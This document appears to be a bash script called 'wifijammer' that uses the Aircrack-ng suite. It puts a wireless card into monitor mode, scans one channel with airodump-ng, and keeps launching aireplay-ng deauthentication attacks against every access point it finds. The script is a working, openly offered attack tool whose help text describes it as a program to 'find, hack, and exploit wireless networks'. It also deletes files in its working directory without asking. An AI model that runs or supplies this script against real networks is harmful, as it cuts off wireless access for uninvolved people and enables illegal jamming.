1. #!/bin/bash
  2.  
  3. SCAN=0
  4. VERSION=0.1
  5. while getopts "w:c:shv" OPTION; do
  6.     case "$OPTION" in
  7.         # This argument sets the amount of time to wait collecting airodump data
  8.         w)
  9.             WIFIVAR=$OPTARG
  10.             ;;
  11.         c)
  12.             NUMBER=$OPTARG
  13.             ;;
  14.         s)
  15.             SCAN=1
  16.             ;;
  17.         h)
  18.             echo -e "wifijammer, version $VERSION
  19. Usage: $0 [-s] -w [wifi card] -c [channel]
  20.  
  21. This is a bash based wifi jammer. It uses your wifi card to continuously send de-authenticate packets to every client on a specified channel... at lest thats what its suppose to do. This program needs the Aircrack-ng suit to function and a wifi card that works with aircrack.
  22.  
  23. Options:
  24.     Required:
  25.     -w  time to wait in minutes during airodump
  26.     -c  channel to scan
  27.  
  28.     Optional:
  29.     -s  scan for wireless networks first
  30.     -h  display help message
  31.     -v  display version
  32.  
  33. Example: $0 -w wlan0 -c 2
  34.  
  35. Report bugs to http://code.google.com/p/wifijammer/ -> issues section
  36. Written by esmith2000@gmail.com"
  37.             exit 1
  38.             ;;
  39.         v)
  40.             echo "$0, version $VERSION"
  41.             ;;
  42.     esac
  43. done
  44.  
  45. if [[ $# -lt 1 ]]; then
  46.     echo -e "wifijammer, $VERSION
  47. Usage: $0 [-s] -w [wifi card] -c [channel]
  48. Program to find, hack, and exploit wireless networks.
  49. Options:
  50.     Required:
  51.     -w  time to wait in minutes during airodump
  52.     -c  channel to scan
  53.  
  54.     Optional:
  55.     -s  scan for wireless networks first
  56.     -h  display help message
  57.     -v  display version
  58.  
  59. Example: $0 -w wlan0 -c 2
  60.  
  61. Report bugs to http://code.google.com/p/wifijammer/ -> issues section
  62. Written by esmith2000@gmail.com and developers at http://code.google.com/p/wifijammer/"
  63.             exit 1
  64. fi
  65.  
  66. if [[ $WIFIVAR == "" ]]; then
  67.     echo "You must specify the -w option!"
  68.     exit 1
  69. fi
  70.  
  71. if [[ $NUMBER == "" ]] && [[ $SCAN -eq 0 ]]; then
  72.     echo "You must specify a channel with the -c option!"
  73.     exit 1
  74. fi
  75.  
  76. if [[ $SCAN -ne 0 ]] && [[ $NUMBER -ne 0 ]]; then
  77.     echo "You may only specify either -s or -c, not both! Exiting..."
  78.     exit 1
  79. fi
  80.  
  81. if [ x"`which id 2> /dev/null`" != "x" ]; then
  82.     USERID="`id -u 2> /dev/null`"
  83. fi
  84.  
  85. if [ x$USERID = "x" -a x$UID != "x" ]; then
  86.     USERID=$UID
  87. fi
  88.  
  89. if [ x$USERID != "x" -a x$USERID != "x0" ]; then
  90.     #Guess not
  91.     echo Run it as root ; exit ;
  92. fi
  93.  
  94. # Changes working directory to the same as this file
  95. DIR="$( cd "$( dirname "$0" )" && pwd )"
  96. cd $DIR
  97.  
  98. #Checks if user specified a WIFI card
  99. if [ x"$WIFIVAR" = x"" ]; then
  100.     echo "No wifi card specified, scanning for available cards (doesnt always work)"
  101.     USWC="no"
  102. else
  103.     echo "Using user specified wifi card ""$WIFIVAR"
  104.     USWC="yes"
  105. fi
  106.  
  107. if [ x"$USWC" = x"no" ]; then
  108.     # Uses Airmon-ng to scan for available wifi cards.
  109.     airmon-ng|cut -b 1,2,3,4,5,6,7 > clist01
  110.     count=0
  111.     if [ -e "clist" ]; then
  112.         rm clist
  113.     fi
  114.  
  115.     cat clist01 |while read LINE ; do
  116.         if [ $count -gt 3 ];then
  117.             echo "$LINE" | cut -b 1-7 | tr -d [:space:] >>clist
  118.             count=$((count+1))
  119.         else
  120.             count=$((count+1))
  121.         fi
  122.     done
  123.     rm clist01
  124.    
  125.     WIFI=`cat clist`
  126.     echo "Using first available Wifi card: `airmon-ng|grep "$WIFI"`"
  127.     echo "If you would like to specify your own card please do so at the command line"
  128.     echo "etc: sudo ./wifijammer_0.1 eth0"
  129.     rm clist
  130. else
  131.     WIFI="$WIFIVAR"
  132. fi
  133.  
  134. #Check for a wifi card
  135. if [ x"$WIFI" = x"" ]; then
  136.     #Guess no wifi card was detected
  137.     echo "No wifi card detected. Quitting"
  138.     exit
  139. fi
  140.  
  141. #Start the wireless interface in monitor mode
  142. if [ x"$airmoncard" != x"1" ]; then
  143.     airmon-ng start $WIFI >tempairmonoutput
  144.     airmoncard="1"
  145. fi
  146.  
  147. #Looks for wifi card thats been set in Monitor mode
  148. if [ x"$testcommandvar02" = x"" ]; then
  149.     WIFI02=`cat tempairmonoutput | grep "monitor mode enabled on" | cut -b 30-40 | tr -d [:space:] |tr -d ")"`
  150.     if [ x$WIFI02 = x ]; then
  151.         WIFI02=`cat tempairmonoutput | grep "monitor mode enabled" | cut -b 1-5 | tr -d [:space:]`
  152.     fi
  153.     WIFI="$WIFI02"
  154.     rm tempairmonoutput
  155. fi
  156.    
  157. echo "$WIFI"
  158.  
  159. # Asks user to specify a channel to jam, or to see a 40 second scan of the area
  160. #read -p "Please specify a channel to jam, or type in 'scan' (without quotes) to see airodump's output for 40 seconds:" NUMBER
  161.  
  162. if [[ $SCAN -eq 1 ]]; then
  163.     # scan was entered, so start airodump-ng in channel hopping mode to scan the area
  164.     airodump-ng $WIFI &
  165.     SCANPID=$!
  166.     sleep 40s
  167.     kill $SCANPID
  168.     sleep 1s
  169.     #Asks user to specify a channel
  170.     read -p "Please specify a channel to jam:" NUMBER
  171.     CHANNEL="$NUMBER"
  172. fi
  173.  
  174. # Launches airodump-ng on specified channel to start gathering a client list
  175. rm *.csv
  176.  
  177. echo "Scanning specified channel"
  178. airodump-ng -c $NUMBER -w airodumpoutput $WIFI &> /dev/tty2 &
  179.  
  180. # Removes temp files that are no longer needed
  181. rm *.cap 2>/dev/null
  182. rm *.kismet.csv 2>/dev/null
  183. rm *.netxml 2>/dev/null
  184.  
  185. # Makes a folder that will be needed later
  186. mkdir stationlist 2>/dev/null
  187. rm stationlist/*.txt
  188.  
  189. # Start a loop so new clients can be added to the jamming list
  190. while [ x1 ]; do
  191.     sleep 5s
  192.     # Takes appart the list of clients and reorganizes it in to something useful
  193.     cat airodumpoutput*.csv|while read LINE01 ; do
  194.         echo "$LINE01" > tempLINE01
  195.         LINE=`echo $LINE01|cut -f 1 -d ,|tr -d [:space:]`
  196.         rm tempLINE01
  197.         # Ignores any blank
  198.         if [ x"$LINE" != x"" ];then
  199.             if [ x"$LINE" = x"StationMAC" ];then
  200.                 start="no"
  201.             fi
  202.             if [ x"$start" = x"yes" ];then
  203.                 if [ -e stationlist/"$LINE".txt ];then
  204.                     echo "" 2>/dev/null
  205.                 else
  206.                     # Lauches new window with de-authenticate thingy doing it's thing
  207.                     echo "Jamming $LINE"
  208.                     aireplay-ng --deauth 0 -a $LINE $WIFI &> /dev/tty2 &
  209.                     echo "$LINE" > stationlist/$LINE.txt
  210.                 fi
  211.             fi
  212.             if [ x"$LINE" = x"BSSID" ];then
  213.                 start="yes"
  214.             fi
  215.         fi
  216.     done
  217. done